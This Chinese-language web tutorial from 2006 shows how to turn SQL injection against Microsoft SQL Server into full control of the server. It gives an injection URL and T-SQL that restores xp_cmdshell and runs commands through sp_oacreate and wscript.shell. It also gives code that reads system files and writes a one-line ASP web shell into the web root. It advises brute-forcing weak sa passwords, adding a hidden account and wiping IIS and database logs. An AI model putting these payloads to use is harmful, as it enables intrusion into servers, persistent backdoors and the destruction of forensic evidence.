奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 安全技术 >> 入侵检测 >> 向xp_cmdshell进军
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • 主流入侵检测产品大比

  • 从漏洞及攻击分析到NI

  • 入侵检测及其对未来网

  • 入侵检测(ID)FAQ(初级

  • Linux 9系统下构建小型

  • 无线入侵检测系统的应

  • 基于Windows的入门级I

  • 安全要主动,入侵检测

  • 向xp_cmdshell进军
    字体:

    中华网络安全联盟    作者:佚名    来源:网络    时间:2006-3-19

    向xp_cmdshell进军
    ——利用MSSQL数据库存储扩展取得服务器的管理权

    在MSSQL中具有sysadmin权限的用户可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令,因此大多数对安全比较重视的管理员都会将它删除,即使没有删除也有可能会由于获得的权限不足而前功尽弃。因此获得了xp_cmdshell的执行权限也就成了大多数SQL Injection攻击方法的终极目标。我给大家介绍一下在此过程中涉及到的几个关键问题及其解决方法。权当是抛砖引玉。
    获取当前用户权限
    在MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。每一个权限具有不同的作用,同时也决定了我们的成败。在这8种权限中只有sysadmin才是我们真正想要得,因此只需要提交
    http://somesite/show.asp?id=4864 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
    来判断当前用户是否具有sysadmin权限。如果返回正常的话那就恭喜了,今天足彩肯定中奖!否则的话(谁拿鸡蛋扔我了^_^)我们还有其他的方法可以用呢。
    破解sa账号的弱口令
    这种方法应该不属于SQL Injection的范畴,但在我们的整个渗透过程中往往会起到决定性的作用。好了,闲话少说,打开我最常用SQLScanPass,将主机IP及端口1433写入SQLHost.Txt文件中,先测试一下空口令,如果没成功的话,就挂一个好用的字典,成功的几率便会大大增加。运行界面如图所示

    现在我们可以沏上一杯咖啡慢慢的享受,慢慢的等待了。
    判断存储扩展检测
      如果当前网站用户使用的就是sysadmin权限,就可以利用愁要饭的方法进行存储扩展的检测及恢复,这样会容易很多。如果是获得sa或其他账号弱口令的话,剩下的任务就可以交给SQLTools.exe了。这个程序是由蓝色光芒编写,其功能强大的难以想象。但是除了执行数据库命令以外都需要一定的存储扩展支持,因此首先要判断这些存储扩展是否存在。从"利用目录"菜单中打开执行数据库命令窗口,填入我们要执行的命令。例如
    select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    用于判断是否存在xp_cmdshell存储扩展,运行界面如图所示

    如果返回结果为1的话我们就可以使用菜单中的"执行DOS命令"选项了。否则的话就要往下看了。
    恢复xp_cmdshell,抓住肉鸡
    直接在数据库命令执行窗口写入
    Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
    如果返回1的话就说明恢复成功,否则的话就需要我们给他上传一个xplog70.dll文件。
    打开文件上传的窗口将文件上传到C:\WinNt\System32\下后执行数据库命令
    Exec master.dbo.addextendedproc 'xp_cmdshell', 'C:\WinNt\System32\xplog70.dll'。
    OK,剩下的就是我们日常使用的net use和net localgroup命令了,为服务器添加一个隐藏的账号,清理好IIS日志和MSSQL日志闪人。
    绕过xp_cmdshell执行系统命令
    在MSSQL中可以通过sp_oacreate 和sp_oamethod 两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成:
    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'net start telnet'
    他的作用是在服务器端通过wscript.shell执行net start telnet,从而开启服务器的telnet服务。
    你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如:
    declare @o int, @f int, @t int, @ret int ,@c varchar(8000)
    declare @line varchar(8000)
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
    exec @ret = sp_oamethod @f, 'readline', @line out
    select @c=''
    while( @ret = 0)
    begin
    select @c=@c+@line+char(13)+char(10)
    exec @ret = sp_oamethod @f, 'readline', @line out
    end
    可以读取c:\boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。
    用这种方法也可以创建文件,并写入数据,例如:
    declare @o int, @f int, @t int, @ret int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run("cmd.exe /c "&request.querystring("cmd")) %>'
    在c:\inetpub\wwwroot\foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿!
    总论
    MSSQL为我们提供了异常丰富的存储扩展库,可以完成操作系统所能完成的大部分重要的功能,例如注册表管理、文件管理、用户管理、权限管理等。但是如果没有足够的安全防范意识,就会给服务器带来致命性的威胁。说得我自己都有点怕怕了:

     
    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.